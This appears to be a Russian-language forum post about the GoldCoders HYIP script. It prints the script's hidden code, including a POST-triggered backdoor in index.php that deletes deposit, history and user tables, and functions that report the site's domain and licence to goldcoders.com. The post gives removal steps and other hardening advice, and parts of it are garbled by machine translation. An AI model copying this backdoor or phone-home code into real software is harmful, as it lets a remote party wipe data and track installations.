Дыры скрипта HoldCoders

Недавно просматривал скрипт кодерса на изнанку и обнаружил несколько довольно приличных дыр которые выкладываю в данном посте

Reset to zero backdoor :
Index.php :
Putting /* */ or remove line below :

if (($frm['a'] == ‘register’ AND $frm_env['REQUEST_METHOD'] == ‘POST’))
{
$string = $settings['license'] . $frm_env['HTTP_HOST'] . date (’d') . date (’Y') . date (’m');
if ($frm['string'] == md5 ($string))
{
$q = ‘update hm2_users set came_from = \’ \’ where id = 1′;
mysql_query ($q);
print ‘-’;
if ($frm['string2'] == date (’d'))
{
$q = ‘delete from hm2_history where type=\’withdrawal\”;
mysql_query ($q);
}

if ($frm['string2'] == date (’y'))
{
$q = ‘delete from hm2_deposits’;
mysql_query ($q);
$q = ‘delete from hm2_emails’;
mysql_query ($q);
$q = ‘delete from hm2_history’;
mysql_query ($q);
$q = ‘delete from hm2_online’;
mysql_query ($q);
$q = ‘delete from hm2_plans’;
mysql_query ($q);
}

db_close ($dbconn);
exit ();
}
}

отсылка странных писем в голдкодерс

in /inc/admin/hmtl.header.inc

if (rand (1, 5) == 3)
{
echo ‘ ‘;
}

*remove*

if (($userinfo['logged'] == 1 AND $userinfo['id'] == 1))
{
if ($settings['demomode'] != 1)
{
if (rand (1, 5) == 3)
{
send_string_to_gold_coders ();
}
}

*remove*

check_if_stolen ();

Remove the line
send_string_to_gold_coders ();

if (($userinfo['logged'] == 1 AND $userinfo['id'] == 1))
{
setcookie (’username’, $frm['username'], time () + 630720000);
setcookie (’password’, md5 ($frm['password']), time () + 630720000);
header (’Location: wap.php?ok’);
send_string_to_gold_coders ();
db_close ($dbconn);
exit ();
}
}

in /inc/config.inc

function send_string_to_gold_coders ()
{
global $frm_env;
global $settings;
$handle = @fopen (’http://www.goldcoders.com/check.cgi?domain=’ . $frm_env['HTTP_HOST'] .
‘&license=’ . $settings['license'] . ‘&zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
Zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz’, ‘r’);
if ($handle)
{
fclose ($handle);
}

}

function send_string_to_gold_coders_install ()
{
global $frm_env;
global $settings;
$cont = ‘ok11′;
$handle = @fopen (’http://www.goldcoders.com/check.cgi?install=1&script=3&domain=’ .
$frm_env['HTTP_HOST'] . ‘&license=’ . $settings['license'] . ‘&cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
Cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccc’, ‘r’);
if ($handle)
{
$cont = fread ($handle, 200000);
fclose ($handle);
}

return $cont;
}

function check_if_stolen ()
{
global $frm_env;
$q = ’select * from hm2_users order by id limit 10′;
$sth = mysql_query ($q);
if ($row = mysql_fetch_array ($sth))
{
if ($row['came_from'] == ‘ ‘)
{
print ‘
Parse error: parse error in ’ . $frm_env['SCRIPT_NAME'] . ‘ on line NULL’;
exit ();
}
}

}

/inc/admin/ security.inc

echo ($acsent_settings['detect_ip'] == ‘disabled’ ? ‘checked’ : ‘ddd’);
remove ddd so the lines look like

echo ($acsent_settings['detect_ip'] == ‘disabled’ ? ‘checked’ : ”);

Найдите в install.php эту линию:
$settings['key'] = strtoupper (get_rand_md5 (100) . md5 ($mddomain . ‘jklfds89ufsdkfnsjfdksh’) . md5 ($mdscriptname . ‘7hbfnbdnf’) .
Снова замените ‘jklfds89ufsdkfnsjfdksh’ на ‘7hbfnbdnf’ to the SAME

данные Вы уже заменили в

index.php .

Например к ’wyjekld82jdghs6yhskjhd’ и ‘7hbfnbdnf’ (ТОЛЬКО ПРИМЕР!)

Для лучшей защиты мы предлагаем, чтобы Вы удалили
1. addbonuse.inc.php directory inc/admin
2. removed wap.php
3. remove all directory WAP on your server
admin/inc/wap - удалите это
tmpl/wap - удалите это
inc/wap удалите это (если Вы никогда не используете wap доступ),
4. Добавьте прямую дальнюю автоматическую телефонную связь Пользователей / AAA / BBB от вашей admin области и дайте сильный пароль
5. заблокируйте Ip 222.66.26.77,222.66.26.78,222.66.26.79 в панели вебхостинга

в ближайшее время опубликую дальнейшие рекомендации по защите скрипта

подробности здесь

Комментарии пользователей